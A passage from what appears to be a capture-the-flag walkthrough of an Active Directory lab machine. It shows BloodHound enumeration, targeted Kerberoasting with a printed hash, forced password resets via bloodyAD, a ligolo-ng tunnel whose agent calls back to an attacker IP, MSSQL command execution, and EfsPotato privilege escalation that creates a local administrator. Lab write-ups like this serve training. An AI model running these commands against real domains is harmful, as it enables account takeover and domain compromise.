personal virtual desktops access to these resources. In Internet-facing deployments, these servers are typically deployed in an edge network. This group needs to be populated on servers running RD Connection Broker. RD Gateway servers and RD Web Access servers used in the deployment need to be in this group. LDAP 10.1.105.62 389 DC01 RDS Endpoint Servers 0 Servers in this group run virtual machines and host sessions where users RemoteApp programs and personal virtual desktops run. This group needs to be populated on servers running RD Connection Broker. RD Session Host servers and RD Virtualization Host servers used in the deployment need to be in this group. LDAP 10.1.105.62 389 DC01 RDS Management Servers 0 Servers in this group can perform routine administrative actions on servers running Remote Desktop Services. This group needs to be populated on all servers in a Remote Desktop Services deployment. The servers running the RDS Central Management service must be included in this group. LDAP 10.1.105.62 389 DC01 Hyper-V Administrators 0 Members of this group have complete and unrestricted access to all features of Hyper-V. LDAP 10.1.105.62 389 DC01 Access Control Assistance Operators 0 Members of this group can remotely query authorization attributes and permissions for resources on this computer. LDAP 10.1.105.62 389 DC01 Remote Management Users 1 Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user. LDAP 10.1.105.62 389 DC01 Storage Replica Administrators 0 Members of this group have complete and unrestricted access to all features of Storage Replica. LDAP 10.1.105.62 389 DC01 Domain Computers 0 All workstations and servers joined to the domain LDAP 10.1.105.62 389 DC01 Domain Controllers 0 All domain controllers in the domain LDAP 10.1.105.62 389 DC01 Schema Admins 1 Designated administrators of the schema LDAP 10.1.105.62 389 DC01 Enterprise Admins 1 Designated administrators of the enterprise LDAP 10.1.105.62 389 DC01 Cert Publishers 0 Members of this group are permitted to publish certificates to the directory LDAP 10.1.105.62 389 DC01 Domain Admins 2 Designated administrators of the domain LDAP 10.1.105.62 389 DC01 Domain Users 0 All domain users LDAP 10.1.105.62 389 DC01 Domain Guests 0 All domain guests LDAP 10.1.105.62 389 DC01 Group Policy Creator Owners 1 Members in this group can modify group policy for the domain LDAP 10.1.105.62 389 DC01 RAS and IAS Servers 0 Servers in this group can access remote access properties of users LDAP 10.1.105.62 389 DC01 Server Operators 0 Members can administer domain servers LDAP 10.1.105.62 389 DC01 Account Operators 0 Members can administer domain user and group accounts LDAP 10.1.105.62 389 DC01 Pre-Windows 2000 Compatible Access 1 A backward compatibility group which allows read access on all users and groups in the domain LDAP 10.1.105.62 389 DC01 Incoming Forest Trust Builders 0 Members of this group can create incoming, one-way trusts to this forest LDAP 10.1.105.62 389 DC01 Windows Authorization Access Group 1 Members of this group have access to the computed tokenGroupsGlobalAndUniversal attribute on User objects LDAP 10.1.105.62 389 DC01 Terminal Server License Servers 0 Members of this group can update user accounts in Active Directory with information about license issuance, for the purpose of tracking and reporting TS Per User CAL usage LDAP 10.1.105.62 389 DC01 Allowed RODC Password Replication Group 0 Members in this group can have their passwords replicated to all read-only domain controllers in the domain LDAP 10.1.105.62 389 DC01 Denied RODC Password Replication Group 8 Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain LDAP 10.1.105.62 389 DC01 Read-only Domain Controllers 0 Members of this group are Read-Only Domain Controllers in the domain LDAP 10.1.105.62 389 DC01 Enterprise Read-only Domain Controllers 0 Members of this group are Read-Only Domain Controllers in the enterprise LDAP 10.1.105.62 389 DC01 Cloneable Domain Controllers 0 Members of this group that are domain controllers may be cloned. LDAP 10.1.105.62 389 DC01 Protected Users 0 Members of this group are afforded additional protections against authentication security threats. See for more information. LDAP 10.1.105.62 389 DC01 Key Admins 0 Members of this group can perform administrative actions on key objects within the domain. LDAP 10.1.105.62 389 DC01 Enterprise Key Admins 0 Members of this group can perform administrative actions on key objects within the forest. LDAP 10.1.105.62 389 DC01 DnsAdmins 0 DNS Administrators Group LDAP 10.1.105.62 389 DC01 DnsUpdateProxy 0 DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers). LDAP 10.1.105.62 389 DC01 SQLServer2005SQLBrowserUser$DC01 0 Members in the group have the required access and privileges to be assigned as the log on account for the associated instance of SQL Server Browser. ``` {% endcode %} * Only 1 user in the remote management group ### Testing WinRM ## Testing `bob.ross` Remote Management ```bash Doesn't work ``` ## Initial Bloodhound Collection ## Docker Desktop Installation * Install Docker Desktop for Windows * Run the following commands inside of the built-in terminal: {% code overflow="wrap" %} ```bash curl.exe -L -o "$env:USERPROFILE\\Downloads\\docker-compose.yml" cd "$env:USERPROFILE\\Downloads" docker compose -f docker-compose.yml up ``` {% endcode %} {% hint style="info" %} Make sure to catch the password, if not, run the command below in another docker terminal window {% endhint %} * If you can't find it, or are lazy, you can use the below command: ```bash docker logs downloads-bloodhound-1 2>&1 | findstr -i "password" ``` ## Checking `bob.ross` ![image.png](/files/NBvZuKHgTAIhvt0eYilb) * Well, the obvious thing is that I have `GenericAll` over `alice.wonderland` , so I essentially own that user already * Group membership isn’t interesting ## Targeted-Kerberoasting {% code overflow="wrap" %} ```bash nxc ldap 10.1.105.62 -u bob.ross -p '137Password123!@#' --kerberoasting output.txt --targeted-kerberoast alice.wonderland ┌──(kali㉿kali 05/21/2026 08:16:52 PM)-[~/hsm/machines/stp] └─$ nxc ldap 10.1.105.62 -u bob.ross -p '137Password123!@#' --kerberoasting output.txt LDAP 10.1.105.62 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack.smarter) (signing:None) (channel binding:No TLS cert) LDAP 10.1.105.62 389 DC01 [+] hack.smarter\\bob.ross:137Password123!@# LDAP 10.1.105.62 389 DC01 [*] Skipping disabled account: krbtgt LDAP 10.1.105.62 389 DC01 [*] Total of records returned 0 ``` {% endcode %} * came up dry there, since the original command didn’t like the syntax ```bash targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword' targetedKerberoast.py -v -d 'hack.smarter' -u 'bob.ross' -p '137Password123!@#' ``` * It worked! {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 08:22:47 PM)-[~/hsm/machines/stp] └─$ targetedKerberoast -v -d 'hack.smarter' -u 'bob.ross' -p '137Password123!@#' [*] Starting kerberoast attacks [*] Fetching usernames from Active Directory with LDAP [VERBOSE] SPN added successfully for (alice.wonderland) [+] Printing hash for (alice.wonderland) $krb5tgs$23$*alice.wonderland$HACK.SMARTER$hack.smarter/alice.wonderland*$a2257ae68190bdb031c253a0a7bb442e$9bea17d22748ac9db63efe0397bea2db62688837e97f7a8567fdc4c00c4ca8cd298d2298af9560d5a1cf9fe612bb3fb13d6324aee05dac9e738d4ca9391b9fddbbc96853a17a98ee94d057f3a568b71dcb15e0d34806d7e3da8fe64e2cb882bab8c9e72eb4c5fca1463e8464e5ea345b9245746878191255b78a840acc8403529b02496af15d29138cbbb7bc40900e93715cd915be5df39e2bb518aefd2faf7e553c4f6bebf3c9377890197214e55a8cb5c618b43b92f238dd1e59c3528c5b20e8df6c4ad513986bef5ef1c8b911d346a6e398d2e28bd44a72dbf9c2095e2386afb6b9237858819de0343ca89332e81cdaadb68bb9ed7728325cacbad8df5c3a76a2a04ba204aa560509626edb6f644c1a89bef52b9f336bb8a833485d1bd061d0138a3284b49849fc24012d1b36e9b5824a499d735175c5b49b731e7dcb7ab2bd7e1158c01e233747043f9f5f750fecbb35320b11f55e3db07e4d80df90ece04a91ed9981ab584a172e46248ea9c972dc7a81008c0b592e2fba8d8815fc2b756fd6a88ef15291b23488de6d2e2e7b86692ad4525c649f99b11e417b59d372a85ddc1200adf0583d8e344f9327c164b40f2730fbfb2e6e6976bbf0c81053ffd696d76e58fdc700822b95780a2f08130b35eb5a88d8d1edf1efedf42afc5092aa0524537314171bcba8b99f6ad49276f60c361784036bb73d08646ec918dffe29651aed84574f294967efed0e12021cdb55cdc3bf493ee75055481e9814d6e1b85cd60cd2a7991f918ff942cbea25c70777c7b7e3adf61f029fe092ce790211a2cbbabe2465e98838ce3f30c2a889501b4feb5ab0fa9690d05a40bedbe9cad9a8c671d165c7569a4c4d050bd25d64a598561a3af0ed87ecb5d8567b58dd24f0cc62c9f4fcf2acbf014156c03a679ea7ee0b0f2c7882358330de76222081f6caf2e006a16cec85ea40543a8a31ae5a41595495c43f93e77db16124674ce210650a79b944780941514290c8459ca62472b2d0b38e0cc338259fa0c3099632608eecdbd7870af8311daa6674e9479607ab274d063e6b238dfcfc218fb54e313824051cbffca5693acba5e28bbb44a02dc35ba3edec0f27fdf397ec5fd7e6a6cb40bf8475004d7ab7fe335580fdb74a67f6c3a78f1f44fd40d5b1fc871b1d2ecbaa8cbaae8838bdf3e356fbb7cb61aab585f5c273038d01551ad105c2e08d584b07f2db9aaa359336a9aedb82a4cf6f02af6ab066b7d8709bb1d419651fec19099466a12bac5746dc15b1c80486ecb3a62379770565052805115ec8dfb7ed16f198c19539a1b90162fac36c4dbc569a66f2efeef30a5958fa2225ace01dcba6b66adf8cb27f85c63774f71e02fde060246c8272ecdfe445bdd3ef8272aea515ecb5737845087930 [VERBOSE] SPN removed successfully for (alice.wonderland) ``` {% endcode %} ## Cracking the krb5tgs {% code overflow="wrap" expandable="true" %} ```bash Session..........: hashcat Status...........: Exhausted Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) Hash.Target......: $krb5tgs$23$*alice.wonderland$HACK.SMARTER$hack.sma...087930 Time.Started.....: Thu May 21 20:25:02 2026 (5 secs) Time.Estimated...: Thu May 21 20:25:07 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 2709.2 kH/s (1.26ms) @ Accel:1024 Loops:1 Thr:1 Vec:16 Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new) Progress.........: 14344385/14344385 (100.00%) Rejected.........: 0/14344385 (0.00%) Restore.Point....: 14344385/14344385 (100.00%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#01...: kristenanne -> $HEX[042a0337c2a156616d6f732103] Hardware.Mon.#01.: Util: 44% ``` {% endcode %} * We might as well change the password ## Opting to change the password {% code overflow="wrap" %} ```bash bloodyAD --host -d hack.smarter -u -p set password alice.wonderland 'NewPassword123!' bloodyAD --host 10.1.105.62 -d hack.smarter -u bob.ross -p '137Password123!@#' set password alice.wonderland 'HackSmarter123!' ┌──(kali㉿kali 05/21/2026 08:27:45 PM)-[~/hsm/machines/stp] └─$ bloodyAD --host 10.1.105.62 -d hack.smarter -u bob.ross -p '137Password123!@#' set password alice.wonderland 'HackSmarter123!' [+] Password changed successfully! ``` {% endcode %} * Nice ## Compromising `alice.wonderland` We already changed their password. My thoughts now: * Check share access * Run bloodhound collection again * Then see where we are at with groups / perms / remote access ### Share Access {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 08:27:50 PM)-[~/hsm/machines/stp] └─$ nxc smb 10.1.105.62 -u 'alice.wonderland' -p 'HackSmarter123!' --shares SMB 10.1.105.62 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.1.105.62 445 DC01 [+] hack.smarter\\alice.wonderland:HackSmarter123! SMB 10.1.105.62 445 DC01 [*] Enumerated shares SMB 10.1.105.62 445 DC01 Share Permissions Remark SMB 10.1.105.62 445 DC01 ----- ----------- ------ SMB 10.1.105.62 445 DC01 ADMIN$ Remote Admin SMB 10.1.105.62 445 DC01 C$ Default share SMB 10.1.105.62 445 DC01 IPC$ READ Remote IPC SMB 10.1.105.62 445 DC01 NETLOGON READ Logon server share SMB 10.1.105.62 445 DC01 Share READ,WRITE SMB 10.1.105.62 445 DC01 SYSVOL READ Logon server share ``` {% endcode %} * Confirmed our password change worked * Nothing new for shares, as expected ### Running Bloodhound Collection {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 08:33:57 PM)-[~/hsm/machines/stp] └─$ sudo nxc ldap 10.1.105.62 -u 'alice.wonderland' -p 'HackSmarter123!' --bloodhound --collection All --dns-server 10.1.105.62 LDAP 10.1.105.62 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack.smarter) (signing:None) (channel binding:No TLS cert) LDAP 10.1.105.62 389 DC01 [+] hack.smarter\\alice.wonderland:HackSmarter123! LDAP 10.1.105.62 389 DC01 Resolved collection methods: localadmin, trusts, acl, dcom, psremote, rdp, group, objectprops, session, container LDAP 10.1.105.62 389 DC01 Done in 0M 7S LDAP 10.1.105.62 389 DC01 Compressing output into /root/.nxc/logs/DC01_10.1.105.62_2026-05-21_203402_bloodhound.zip ``` {% endcode %} ![image.png](/files/E8L9ZPCp6KSgi4UW4qmp) * As expected, a member of the remote management users group, so evil-winrm it is ## Evil-WinRM ```bash *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> cat user.txt bWFkZV9pdF90aGlzX2Zhcgo= *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> ``` ## User.txt ```bash bWFkZV9pdF90aGlzX2Zhcgo= ``` ## Privilege Escalation Checking privileges ```bash *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> ``` Checking ACLs ```bash *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> net user alice.wonderland /domain User name alice.wonderland Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 5/21/2026 5:27:46 PM Password expires Never Password changeable 5/22/2026 5:27:46 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 10/29/2025 3:07:23 PM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *Domain Users The command completed successfully. *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> ``` Checking Group membership {% code overflow="wrap" expandable="true" %} ```bash *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes =========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\\Medium Plus Mandatory Level Label S-1-16-8448 *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> ``` {% endcode %} ## SharpHound collection {% code overflow="wrap" expandable="true" %} ```bash *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> upload SharpHound.exe Info: Uploading /home/kali/hsm/machines/stp/SharpHound.exe to C:\\Users\\alice.wonderland\\Desktop\\SharpHound.exe Data: 1802240 bytes of 1802240 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> ls Directory: C:\\Users\\alice.wonderland\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 5/21/2026 5:42 PM 1351680 SharpHound.exe -a---- 9/3/2025 2:07 PM 54 user.txt *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> .\\SharpHound.exe -c All --zipfilename sharphound.zip *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> download 20260521174312_sharphound.zip Info: Downloading C:\\Users\\alice.wonderland\\Desktop\\20260521174312_sharphound.zip to 20260521174312_sharphound.zip Info: Download successful! *Evil-WinRM* PS C:\\Users\\alice.wonderland\\Desktop> ``` {% endcode %} ![image.png](/files/Tpb7U2KPWbfLrzBTSpmK) ## Proposed path forward Alice has `CanPSRemote` to DC01 (already there), DC01 has `CoerceToTGT` and `DCSync` to the domain, and on the right side `TYLER.RAMSEY` has `GenericWrite`, `AllExtendedRights`, `WriteOwner`, `WriteDacl`, and `Contains` over the `Administrators` group. The most direct path is abusing the rights on Tyler Ramsey. I have `AllExtendedRights` which includes the ability to force a password change, and `GenericWrite` which lets you set attributes including a targeted Kerberoast via SPN writing. Since Kerberoasting Tyler didn't crack, I could use `GenericWrite` to set an SPN on him, Kerberoast the new hash, or just use `AllExtendedRights` to reset his password directly: {% code overflow="wrap" expandable="true" %} ```bash bloodyAD --host 10.1.105.62 -d hack.smarter -u alice.wonderland -p 'HackSmarer123!' set password tyler.ramsey 'HackSmarter123!' ``` {% endcode %} Then once I have Tyler, use his `WriteDacl` or `WriteOwner` over the `Administrators` group to add myself: {% code overflow="wrap" expandable="true" %} ```bash bloodyAD --host 10.1.105.62 -d hack.smarter -u tyler.ramsey -p 'HackSmarter123!' add groupMember Administrators tyler.ramsey ``` {% endcode %} That puts Tyler in Administrators and from there you DCSync or just grab the flags directly since you already have a shell on DC01 via alice. {% code overflow="wrap" %} ```bash bloodyAD --host 10.1.105.62 -d hack.smarter -u alice.wonderland -p 'HackSmarter123!' set password tyler.ramsey 'HackSmarter123!' bloodyAD --host 10.1.105.62 -d hack.smarter -u alice.wonderland -p 'HackSmarter123!' --dc-ip 10.1.105.62 set password tyler.ramsey 'HackSmarter123!' --oldpass '' rpcclient -U "hack.smarter/alice.wonderland%HackSmarter123!" 10.1.105.62 -c "setuserinfo2 tyler.ramsey 23 'HackSmarter123!'" ``` {% endcode %} {% code overflow="wrap" %} ```bash bloodyAD --host 10.1.105.62 -d hack.smarter -u tyler.ramsey -p 'HackSmarter123!' add groupMember Administrators tyler.ramsey ``` {% endcode %} *** ## Hold up… Turns out that this is completely **wrong**. It might work (Spoiler: it didn't for me afterwards), but the intended is through an internal port on 1433 with mssql. ### Find out what is listening ```bash netstat -ano | findstr LISTENING TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2184 TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING 4224 TCP 127.0.0.1:56517 0.0.0.0:0 LISTENING 4224 ``` ## **Ligolo-ng setup** {% hint style="info" %} Some of this was adapted from 0xbob's walkthrough, that is much better than mine and can be found here: {% endhint %} We can use ligolo to relay traffic between the target and our kali to make the internal and external services of the target machine open to us. I'll set up a network tunnel interface called `ligolo` and configure the route to forward traffic for specific IP ranges (`240.0.0.1`) through the tunnel. {% code overflow="wrap" expandable="true" %} ```bash sudo ip tuntap add user root mode tun ligolo ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash sudo ip link set ligolo up ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash sudo ip route add 240.0.0.1 dev ligolo ``` {% endcode %} On kali, we'll start the proxy server. {% code overflow="wrap" expandable="true" %} ```bash ligolo-proxy -selfcert ``` {% endcode %} Next, upload and run the agent using evil-winrm to connect to our proxy. {% code overflow="wrap" expandable="true" %} ```bash upload agent.exe ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash ./agent.exe -connect 10.200.58.217:11601 --ignore-cert ``` {% endcode %} A message will appear on our ligolo-ng proxy that an agent has joined. We use `session` to select the session and then start it. {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 09:05:24 PM)-[~/hsm] └─$ nmap -p 1433 -sCV 240.0.0.1 Starting Nmap 7.99 ( ) at 2026-05-21 21:07 -0400 Nmap scan report for 240.0.0.1 Host is up (0.0049s latency). PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 240.0.0.1:1433: | Target_Name: HACK | NetBIOS_Domain_Name: HACK | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: hack.smarter | DNS_Computer_Name: DC01.hack.smarter | DNS_Tree_Name: hack.smarter |_ Product_Version: 10.0.20348 | ms-sql-info: | 240.0.0.1:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2026-05-22T00:08:14 |_Not valid after: 2056-05-22T00:08:14 |_ssl-date: 2026-05-22T01:07:52+00:00; -4s from scanner time. Host script results: |_clock-skew: mean: -4s, deviation: 0s, median: -4s Service detection performed. Please report any incorrect results at . Nmap done: 1 IP address (1 host up) scanned in 12.44 seconds ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 09:09:42 PM)-[~/hsm] └─$ nxc mssql 240.0.0.1 -u alice.wonderland -p ./agent 'HackSmarter123!' MSSQL 240.0.0.1 1433 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack.smarter) (EncryptionReq:False) MSSQL 240.0.0.1 1433 DC01 [-] hack.smarter\\alice.wonderland:./agent (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth') MSSQL 240.0.0.1 1433 DC01 [+] hack.smarter\\alice.wonderland:HackSmarter123! (Pwn3d!) ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 09:09:53 PM)-[~/hsm] └─$ nxc mssql 240.0.0.1 -u alice.wonderland -p ./agent 'HackSmarter123!' -x "whoami /priv" MSSQL 240.0.0.1 1433 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack.smarter) (EncryptionReq:False) MSSQL 240.0.0.1 1433 DC01 [-] hack.smarter\\alice.wonderland:./agent (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth') MSSQL 240.0.0.1 1433 DC01 [+] hack.smarter\\alice.wonderland:HackSmarter123! (Pwn3d!) MSSQL 240.0.0.1 1433 DC01 [+] Executed command via mssqlexec MSSQL 240.0.0.1 1433 DC01 PRIVILEGES INFORMATION MSSQL 240.0.0.1 1433 DC01 ---------------------- MSSQL 240.0.0.1 1433 DC01 Privilege Name Description State MSSQL 240.0.0.1 1433 DC01 ============================= ========================================= ======== MSSQL 240.0.0.1 1433 DC01 SeAssignPrimaryTokenPrivilege Replace a process level token Disabled MSSQL 240.0.0.1 1433 DC01 SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled MSSQL 240.0.0.1 1433 DC01 SeMachineAccountPrivilege Add workstations to domain Disabled MSSQL 240.0.0.1 1433 DC01 SeChangeNotifyPrivilege Bypass traverse checking Enabled MSSQL 240.0.0.1 1433 DC01 SeManageVolumePrivilege Perform volume maintenance tasks Enabled MSSQL 240.0.0.1 1433 DC01 SeImpersonatePrivilege Impersonate a client after authentication Enabled MSSQL 240.0.0.1 1433 DC01 SeCreateGlobalPrivilege Create global objects Enabled MSSQL 240.0.0.1 1433 DC01 SeIncreaseWorkingSetPrivilege Increase a process working set Disabled ``` {% endcode %} {% hint style="info" %} SeImpersonatePrivilege = some tasty potato {% endhint %} ## **Shell as localadmin** * Clone the EfsPotato repository from GitHub and upload the EfsPotato.cs source file to the target machine using evil-winrm. * Check for a .NET compiler under `C:\Windows\Microsoft.Net\Framework\` and confirm a v4.0 directory is present. * Compile EfsPotato.cs on the target using the csc.exe compiler found in that v4.0.30319 directory, suppressing warnings 1691 and 618. Confirm EfsPotato.exe appears in the directory afterward. {% code overflow="wrap" expandable="true" %} ```bash C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618 ``` {% endcode %} * Copy the compiled EfsPotato.exe to C:\Temp, since the service account does not have access to the original location under alice.wonderland's Desktop. {% code overflow="wrap" expandable="true" %} ```bash Copy-Item -Path "C:\Users\alice.wonderland\Desktop\EfsPotato.exe" -Destination "C:\Temp\" ``` {% endcode %} * Connect the agent back to your attacker machine on the designated port in your evil-winrm session, accepting the certificate warning. {% code overflow="wrap" expandable="true" %} ```bash ./agent.exe -connect 10.200.58.217:11601 --ignore-cert ``` {% endcode %} * Run EfsPotato.exe against the target via NetExec using the mssql module, authenticating as alice.wonderland with her credentials, and passing the full path to the executable in C:\Temp as the command to execute. {% code overflow="wrap" expandable="true" %} ```bash nxc mssql 240.0.0.1 -u alice.wonderland -p 'HackSmarter123' -x "C:\\Temp\\efspotato.exe" ``` {% endcode %} ## Issues with the tunnel.. ```bash ┌──(kali㉿kali 05/21/2026 09:29:24 PM)-[/opt/EfsPotato] └─$ nmap -p 1433 -sC -sV 240.0.0.1 Starting Nmap 7.99 ( ) at 2026-05-21 21:31 -0400 Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 3.16 seconds ``` ### Fixed by reestablishing the tunnel ```bash ┌──(kali㉿kali 05/21/2026 09:31:29 PM)-[/opt/EfsPotato] └─$ sudo ip route add 240.0.0.0/24 dev ligolo ``` {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 09:35:13 PM)-[/opt/EfsPotato] └─$ nxc mssql 240.0.0.1 -u alice.wonderland -p 'HackSmarter123!' -x "C:\\\\Temp\\\\efspotato.exe" MSSQL 240.0.0.1 1433 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack.smarter) (EncryptionReq:False) MSSQL 240.0.0.1 1433 DC01 [+] hack.smarter\\alice.wonderland:HackSmarter123! (Pwn3d!) MSSQL 240.0.0.1 1433 DC01 [+] Executed command via mssqlexec MSSQL 240.0.0.1 1433 DC01 Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). MSSQL 240.0.0.1 1433 DC01 Part of GMH's fuck Tools, Code By zcgonvh. MSSQL 240.0.0.1 1433 DC01 CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] MSSQL 240.0.0.1 1433 DC01 usage: EfsPotato [pipe] MSSQL 240.0.0.1 1433 DC01 pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) ``` {% endcode %} ## Use the exploit to create our own local admin account. {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 09:37:54 PM)-[/opt/EfsPotato] └─$ nxc mssql 240.0.0.1 -u alice.wonderland -p 'HackSmarter123!' -x "C:\\\\Temp\\\\efspotato.exe \\"cmd.exe /c net user malsr HackSmarter123 /add && net localgroup administrators malsr /add\\"" MSSQL 240.0.0.1 1433 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack.smarter) (EncryptionReq:False) MSSQL 240.0.0.1 1433 DC01 [+] hack.smarter\\alice.wonderland:HackSmarter123! (Pwn3d!) MSSQL 240.0.0.1 1433 DC01 [+] Executed command via mssqlexec MSSQL 240.0.0.1 1433 DC01 Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). MSSQL 240.0.0.1 1433 DC01 Part of GMH's fuck Tools, Code By zcgonvh. MSSQL 240.0.0.1 1433 DC01 CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] MSSQL 240.0.0.1 1433 DC01 [+] Current user: NT Service\\MSSQL$SQLEXPRESS MSSQL 240.0.0.1 1433 DC01 [+] Pipe: \\pipe\\lsarpc MSSQL 240.0.0.1 1433 DC01 [!] binding ok (handle=1a9d46e0) MSSQL 240.0.0.1 1433 DC01 [+] Get Token: 840 MSSQL 240.0.0.1 1433 DC01 [!] process with pid: 1500 created. MSSQL 240.0.0.1 1433 DC01 ============================== MSSQL 240.0.0.1 1433 DC01 The command completed successfully. MSSQL 240.0.0.1 1433 DC01 The command completed successfully. ``` {% endcode %} {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali 05/21/2026 09:38:17 PM)-[/opt/EfsPotato] └─$ evil-winrm -i 240.0.0.1 -u malsr -p HackSmarter123 Evil-WinRM shell v3.9 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\\Users\\malsr\\Documents> cd C:\\Users *Evil-WinRM* PS C:\\Users> ls Directory: C:\\Users Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/3/2025 7:47 PM Administrator d----- 10/29/2025 3:25 PM alice.wonderland d----- 9/15/2025 11:50 AM bob.ross d----- 5/21/2026 6:38 PM malsr d-r--- 9/2/2025 2:09 PM Public d----- 9/3/2025 2:08 PM tyler.ramsey *Evil-WinRM* PS C:\\Users> cd Administrator *Evil-WinRM* PS C:\\Users\\Administrator> ls Directory: C:\\Users\\Administrator Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 9/2/2025 2:09 PM 3D Objects d-r--- 9/2/2025 2:09 PM Contacts d-r--- 9/6/2025 8:52 PM Desktop d-r--- 9/2/2025 7:26 PM Documents d-r--- 9/2/2025 2:09 PM Downloads d-r--- 9/2/2025 2:09 PM Favorites d-r--- 9/2/2025 2:09 PM Links d-r--- 9/2/2025 2:09 PM Music d-r--- 9/2/2025 2:09 PM Pictures d-r--- 9/2/2025 2:09 PM Saved Games d-r--- 9/2/2025 2:09 PM Searches d-r--- 9/2/2025 2:09 PM Videos *Evil-WinRM* PS C:\\Users\\Administrator> cd Desktop *Evil-WinRM* PS 